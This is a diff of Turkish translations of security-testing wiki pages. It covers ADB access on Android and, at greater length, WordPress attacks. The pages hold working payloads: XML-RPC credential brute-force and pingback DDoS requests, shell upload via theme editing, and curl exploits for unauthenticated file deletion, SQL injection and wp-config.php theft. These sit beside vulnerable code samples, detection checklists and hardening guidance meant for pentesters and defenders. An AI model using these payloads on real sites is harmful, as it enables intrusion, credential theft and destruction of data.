- Eğer cihaz ADB kimlik doğrulamasını zorluyorsa (ro.adb.secure=1), önceden yetkilendirilmiş olmanız (USB RSA kimlik doğrulaması) veya Android 11+ Kablosuz hata ayıklama eşleştirmesini kullanmanız gerekecek (bu, cihazda görüntülenen bir kerelik kodu gerektirir).
|
||||
- Eğer cihaz ADB kimlik doğrulamasını zorluyorsa (ro.adb.secure=1), önceden yetkilendirilmiş olmanız (USB RSA kimlik doğrulaması) veya Android 11+ Kablosuz hata ayıklama eşleştirmesini kullanmanız gerekecek (bu, cihazda görüntülenen bir kezlik bir kod gerektirir).
|
||||
- Bazı üretici görüntüleri, mühendislik/kullanıcı hata ayıklama derlemeleri, emülatörler, TV'ler, STB'ler ve geliştirme kitleri, kimlik doğrulaması olmadan veya adbd'nin root olarak çalıştığı durumlarda adbd'yi açığa çıkarır. Bu durumlarda genellikle doğrudan bir shell veya root shell'e geçersiniz.
|
||||
|
||||
Genel bir ADB komut referansı için, bakınız:
|
||||
Genel bir ADB komut referansı için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||||
@ -63,7 +63,7 @@ adb pull "/sdcard/<pkg>"
|
||||
- /data/misc/wifi/ (eski sürümlerde ağ yapılandırmaları/anahtarları)
|
||||
- /data/data/<pkg> altında uygulamaya özel SQLite DB'leri ve shared_prefs
|
||||
|
||||
Bunu hassas bilgileri (örneğin, uygulama sırları) almak için kullanabilirsiniz. Chrome veri dikkate alımları hakkında notlar için [burada](https://github.com/carlospolop/hacktricks/issues/274) belirtilen konuyu inceleyin.
|
||||
Bunu hassas bilgileri (örneğin, uygulama sırları) almak için kullanabilirsiniz. Chrome veri dikkate alımları hakkında notlar için, [burada](https://github.com/carlospolop/hacktricks/issues/274) belirtilen konuyu inceleyin.
|
||||
|
||||
### Kod yürütme ve yük teslimi
|
||||
|
||||
@ -129,7 +129,7 @@ Savunucular, erişilebilir herhangi bir adbd (TCP) için kritik risk olduğunu v
|
||||
```bash
|
||||
settings put global adb_enabled 0
|
||||
setprop service.adb.tcp.port -1 # TCP dinlemeyi devre dışı bırak (veya kullan: adb usb)
|
||||
stop adbd; start adbd # daemon'ı yeniden başlat
|
||||
stop adbd; start adbd # daemon'u yeniden başlat
|
||||
```
|
||||
- Kurumsal ağlarda `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` için mDNS kayıtlarını izleyin ve beklenmeyen 5555 dinleyicileri için uyarılar oluşturun.
|
||||
- Güvensiz sürümler için envanter: `getprop ro.debuggable`, `ro.build.type`, ve `ro.adb.secure`.
|
||||
@ -142,5 +142,5 @@ stop adbd; start adbd # daemon'ı yeniden başlat
|
||||
## Referanslar
|
||||
|
||||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||||
- AOSP – ADB over Wi‑Fi, eşleştirme ve mDNS hizmet adları: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -22,11 +22,11 @@
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü bir özellik olan WordPress'in bir dosyasıdır. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
|
||||
- `xmlrpc.php` WordPress'in verilerin HTTP ile taşınmasını sağlayan bir özelliğini temsil eden bir dosyadır; burada HTTP taşıma mekanizması ve XML kodlama mekanizması olarak işlev görür. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
|
||||
- `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir.
|
||||
- `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir.
|
||||
- `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
|
||||
- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur.
|
||||
- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri için, WordPress tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur.
|
||||
|
||||
**Sonrası istismar**
|
||||
|
||||
@ -40,11 +40,11 @@
|
||||
- **Katkıda Bulunan**: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz
|
||||
- **Abone**: Gönderileri tarar ve profilini düzenler
|
||||
|
||||
## **Pasif Sayım**
|
||||
## **Pasif Sıralama**
|
||||
|
||||
### **WordPress sürümünü öğrenin**
|
||||
|
||||
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin
|
||||
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınıza bakın.
|
||||
|
||||
Sayfanın **kaynak kodu** içinde (örnek [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) adresinden):
|
||||
|
||||
@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Eklentiler ve Temalar
|
||||
|
||||
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini aktif olarak Brute Force etmeniz** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).
|
||||
Tüm Eklentileri ve Temaları bulamayabilirsiniz. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif Brute Force yapmanız** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).
|
||||
|
||||
### Kullanıcılar
|
||||
|
||||
@ -105,7 +105,7 @@ Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Eğer `xml-rpc.php` aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin).
|
||||
Eğer `xml-rpc.php` aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin).
|
||||
|
||||
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin:
|
||||
|
||||
@ -120,7 +120,7 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
|
||||
|
||||
**Kimlik Bilgileri Kaba Kuvvet**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle elde etmek için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle kırmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -166,17 +166,17 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Ayrıca, **`system.multicall`** kullanarak kimlik bilgilerini brute-force yapmak için **daha hızlı bir yol** vardır, çünkü aynı istekte birkaç kimlik bilgisi deneyebilirsiniz:
|
||||
Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini zorlamak için **daha hızlı bir yol** vardır:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FA'yı Atlatma**
|
||||
**2FA'yi Atlatma**
|
||||
|
||||
Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in açıkladığı gibi RCE'ye ulaşmayı hala başarabilirsiniz [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) olarak açıkladığı gibi RCE'ye ulaşmayı başarabilirsiniz.
|
||||
|
||||
**DDoS veya port taraması**
|
||||
|
||||
Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.\
|
||||
Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir ana bilgisayara/porta keyfi bir istek göndermesini sağlayabilirsiniz.\
|
||||
Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesini** istemek için kullanılabilir (bu durumda o konumda bir **DDoS** meydana gelir) veya **Wordpress**'in bazı iç **ağları** **taramasını** sağlamak için kullanabilirsiniz (herhangi bir portu belirtebilirsiniz).
|
||||
```html
|
||||
<methodCall>
|
||||
@ -227,7 +227,7 @@ Bu çalışmadığında alınan yanıt:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa, bunları istismar etmeye çalışır.
|
||||
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır.
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Bir biti üzerine yazarak erişim elde et
|
||||
|
||||
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için NOT (`!`) işlemini değiştirebilirsiniz.
|
||||
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için değiştirebilirsiniz.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -252,7 +252,7 @@ Bir php shell için içeriği değiştirin:
|
||||
|
||||
.png>)
|
||||
|
||||
Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Bu güncellenmiş sayfaya nasıl erişebileceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -279,7 +279,7 @@ Eklentiyi yükleyin ve Şimdi Yükle'ye basın:
|
||||
|
||||
.png>)
|
||||
|
||||
Devam Et'e tıklayın:
|
||||
Devam et'e tıklayın:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,14 +295,14 @@ Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz:
|
||||
|
||||
Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesini içerir ve bir web shell elde etmek için istismar edilebilir. Bu süreç, WordPress kontrol paneli aracılığıyla aşağıdaki gibi gerçekleştirilir:
|
||||
|
||||
1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan temin edilir [**buradan**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan edinilir [**buradan**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Eklenti Yükleme**:
|
||||
- WordPress kontrol paneline gidin, ardından `Kontrol Paneli > Eklentiler > Eklenti Yükle` seçeneğine gidin.
|
||||
- İndirilen eklentinin zip dosyasını yükleyin.
|
||||
3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
|
||||
4. **İstismar**:
|
||||
- "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
|
||||
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
|
||||
- "reflex-gallery" eklentisi yüklendiğinde ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
|
||||
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
|
||||
- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir.
|
||||
|
||||
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal yetki olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır.
|
||||
@ -336,7 +336,7 @@ Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bi
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bu işleyiciler, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).
|
||||
Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).
|
||||
|
||||
Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır:
|
||||
```php
|
||||
@ -346,11 +346,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**`nopriv` kullanımı, uç noktanın herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir olmasını sağlar.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir.
|
||||
> Ayrıca, eğer fonksiyon sadece `wp_verify_nonce` fonksiyonu ile kullanıcının yetkilendirmesini kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür:
|
||||
WordPress'ten fonksiyonları `register_rest_route` fonksiyonunu kullanarak bir REST API kaydederek açığa çıkarmak da mümkündür:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -360,23 +360,23 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback`, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir geri çağırma işlevidir.
|
||||
`permission_callback`, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir işlevin geri çağrısıdır.
|
||||
|
||||
**Eğer yerleşik `__return_true` işlevi kullanılırsa, kullanıcı izinleri kontrolü atlanacaktır.**
|
||||
|
||||
- **PHP dosyasına doğrudan erişim**
|
||||
|
||||
Elbette, Wordpress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti, dosyaya erişim sağlanarak tetiklenen herhangi bir savunmasız işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.
|
||||
Elbette, WordPress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti, dosyaya erişim sağlanarak tetiklenen herhangi bir savunmasız işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.
|
||||
|
||||
### wp_ajax_nopriv aracılığıyla Kimlik Doğrulaması Olmadan Rastgele Dosya Silme (Litho Tema <= 3.0)
|
||||
|
||||
WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` kancaları aracılığıyla AJAX işleyicileri sunar. **_nopriv_** varyantı kullanıldığında **geri çağırma kimlik doğrulaması yapılmamış ziyaretçiler tarafından erişilebilir hale gelir**, bu nedenle herhangi bir hassas eylem ayrıca şunları uygulamalıdır:
|
||||
WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` kancaları aracılığıyla AJAX işleyicileri sunar. **_nopriv_** varyantı kullanıldığında **geri çağrı kimlik doğrulaması yapılmamış ziyaretçiler tarafından erişilebilir hale gelir**, bu nedenle herhangi bir hassas eylem ayrıca şunları uygulamalıdır:
|
||||
|
||||
1. Bir **yetki kontrolü** (örneğin, `current_user_can()` veya en azından `is_user_logged_in()`), ve
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve
|
||||
3. **Sıkı girdi temizleme / doğrulama**.
|
||||
|
||||
Litho çok amaçlı tema (< 3.1) *Font Ailesini Kaldır* özelliğinde bu 3 kontrolü unuttu ve aşağıdaki kodu (basitleştirilmiş) gönderdi:
|
||||
Litho çok amaçlı teması (< 3.1) *Font Ailesini Kaldır* özelliğinde bu 3 kontrolü unuttu ve aşağıdaki kodu (basitleştirilmiş) gönderdi:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -403,7 +403,7 @@ Bu kod parçasının neden olduğu sorunlar:
|
||||
|
||||
#### Sömürü
|
||||
|
||||
Bir saldırgan, tek bir HTTP POST isteği göndererek **yüklemeler ana dizininin** (normalde `<wp-root>/wp-content/uploads/`) altında herhangi bir dosya veya dizini silebilir:
|
||||
Bir saldırgan, tek bir HTTP POST isteği göndererek **yüklemeler ana dizininin altında** (normalde `<wp-root>/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -416,7 +416,7 @@ Diğer etkili hedefler arasında güvenlik eklentilerini kırmak için eklenti/t
|
||||
#### Tespit kontrol listesi
|
||||
|
||||
* Dosya sistemi yardımcılarını çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` geri çağrısı (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.).
|
||||
* Yollar içine temizlenmemiş kullanıcı girdisinin birleştirilmesi ( `$_POST`, `$_GET`, `$_REQUEST`'i arayın).
|
||||
* Yollar içine temizlenmemiş kullanıcı girdisinin birleştirilmesi ( `$_POST`, `$_GET`, `$_REQUEST`'e bakın).
|
||||
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()`'ın yokluğu.
|
||||
|
||||
#### Güçlendirme
|
||||
@ -448,7 +448,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
Birçok eklenti, orijinal rol(ler)i kullanıcı meta verisinde saklayarak "rol olarak görüntüle" veya geçici rol değiştirme özelliği uygular, böylece daha sonra geri yüklenebilir. Eğer geri yükleme yolu yalnızca istek parametrelerine (örneğin, `$_REQUEST['reset-for']`) ve bir eklenti tarafından yönetilen bir listeye dayanıyorsa ve yetenekler ile geçerli bir nonce kontrolü yapılmıyorsa, bu dikey ayrıcalık yükseltmesine dönüşür.
|
||||
|
||||
Gerçek bir dünya örneği, Admin ve Site Geliştirmeleri (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Sıfırlama dalı, `reset-for=<kullanıcı_adı>` temelinde rolleri geri yükledi, eğer kullanıcı adı içsel bir dizide `$options['viewing_admin_as_role_are']` görünüyorsa, ancak mevcut rolleri kaldırmadan ve kullanıcı meta verisinden `_asenha_view_admin_as_original_roles` kaydedilen rolleri yeniden eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması gerçekleştirdi:
|
||||
Gerçek bir dünya örneği, Admin ve Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Sıfırlama dalı, `reset-for=<kullanıcı_adı>` temelinde rolleri geri yükledi, eğer kullanıcı adı içsel bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa, ancak mevcut rolleri kaldırmadan ve kullanıcı meta verisinden `_asenha_view_admin_as_original_roles`'dan kaydedilen rolleri yeniden eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması gerçekleştirdi:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -467,7 +467,7 @@ Neden istismar edilebilir
|
||||
|
||||
- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir eklenti seçeneğine güveniyor.
|
||||
- Eğer bir kullanıcı daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek yetkilere sahipti ve yetkileri düşürüldüyse, sıfırlama yoluna tıklayarak bunları geri alabilir.
|
||||
- Bazı dağıtımlarda, herhangi bir kimlik doğrulama yapılmış kullanıcı, `viewing_admin_as_role_are` içinde hala mevcut olan başka bir kullanıcı adı için sıfırlama tetikleyebilir (bozuk yetkilendirme).
|
||||
- Bazı dağıtımlarda, herhangi bir kimlik doğrulaması yapılmış kullanıcı, `viewing_admin_as_role_are` içinde hala mevcut olan başka bir kullanıcı adı için sıfırlama tetikleyebilir (bozuk yetkilendirme).
|
||||
|
||||
Saldırı ön koşulları
|
||||
|
||||
@ -487,7 +487,7 @@ Zayıf yapılandırmalarda, mevcut roller kaldırılır ve kaydedilmiş orijinal
|
||||
|
||||
Tespit kontrol listesi
|
||||
|
||||
- Kullanıcı meta verilerinde “orijinal roller”i sürdüren rol değiştirme özelliklerini arayın (örneğin, `_asenha_view_admin_as_original_roles`).
|
||||
- Kullanıcı meta verilerinde “orijinal roller”ı sürdüren rol değiştirme özelliklerini arayın (örneğin, `_asenha_view_admin_as_original_roles`).
|
||||
- Şu yolları belirleyin:
|
||||
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'dan okuyun.
|
||||
- `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan `add_role()` / `remove_role()` ile roller üzerinde değişiklik yapın.
|
||||
@ -497,14 +497,14 @@ Güçlendirme
|
||||
|
||||
- Her durum değiştiren dalda yetenek kontrollerini zorunlu kılın (örneğin, `current_user_can('manage_options')` veya daha katı).
|
||||
- Tüm rol/izin değişiklikleri için nonce gerektirin ve bunları doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında kimlik doğrulanan aktöre ve açık politikaya dayalı olarak çözün.
|
||||
- İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı, kimlik doğrulaması yapılmış aktöre ve açık politikaya dayalı olarak sunucu tarafında çözün.
|
||||
- Eski yüksek yetki geri yüklemelerini önlemek için profil/rol güncellemelerinde “orijinal roller” durumunu geçersiz kılın:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Minimal durum saklamayı ve geçici rol değişiklikleri için zaman sınırlı, yetenek korumalı token'lar kullanmayı düşünün.
|
||||
- Minimum durumu saklamayı ve geçici rol değişiklikleri için zaman sınırlı, yetenek korumalı token'lar kullanmayı düşünün.
|
||||
|
||||
---
|
||||
|
||||
@ -532,11 +532,11 @@ Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**.
|
||||
- **Güçlü şifreler** ve **2FA** kullanın
|
||||
- Kullanıcı **izinlerini** periyodik olarak **gözden geçirin**
|
||||
- Brute Force saldırılarını önlemek için **giriş denemelerini** sınırlayın
|
||||
- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.
|
||||
- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin.
|
||||
|
||||
### Yetersiz doğrulama yoluyla kimlik doğrulamasız SQL Enjeksiyonu (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal işe alım eklentisi, `modules/category/model.php::validateFormData()` içinde aşağıdaki savunmasız kodu nihayetinde çalıştıran bir **savecategory** görevini açığa çıkardı:
|
||||
WP Job Portal işe alım eklentisi, nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki savunmasız kodu çalıştıran bir **savecategory** görevini açığa çıkardı:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -568,6 +568,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
```
|
||||
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir, bu da SQLi'yi kanıtlar.
|
||||
|
||||
|
||||
### Kimlik Doğrulaması Yapılmamış Keyfi Dosya İndirme / Yol Traversali (WP Job Portal <= 2.3.2)
|
||||
|
||||
Başka bir görev, **downloadcustomfile**, ziyaretçilerin **diskteki herhangi bir dosyayı** yol traversali ile indirmesine izin veriyordu. Açık nokta `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunmaktadır:
|
||||
@ -576,7 +577,7 @@ $file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` saldırgan tarafından kontrol ediliyor ve **temizlenmeden** birleştiriliyor. Yine, tek engel **CSRF nonce**'udur ve bu, özgeçmiş sayfasından alınabilir.
|
||||
`$file_name` saldırgan tarafından kontrol ediliyor ve **temizlenmeden** birleştiriliyor. Yine, tek engel, özgeçmiş sayfasından alınabilen bir **CSRF nonce**.
|
||||
|
||||
#### Sömürü
|
||||
```bash
|
||||
@ -587,13 +588,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Sunucu, `wp-config.php` dosyasının içeriğiyle yanıt veriyor ve DB kimlik bilgileri ile auth anahtarlarını sızdırıyor.
|
||||
Sunucu, `wp-config.php` içeriği ile yanıt verir, DB kimlik bilgilerini ve kimlik doğrulama anahtarlarını sızdırır.
|
||||
|
||||
## Referanslar
|
||||
|
||||
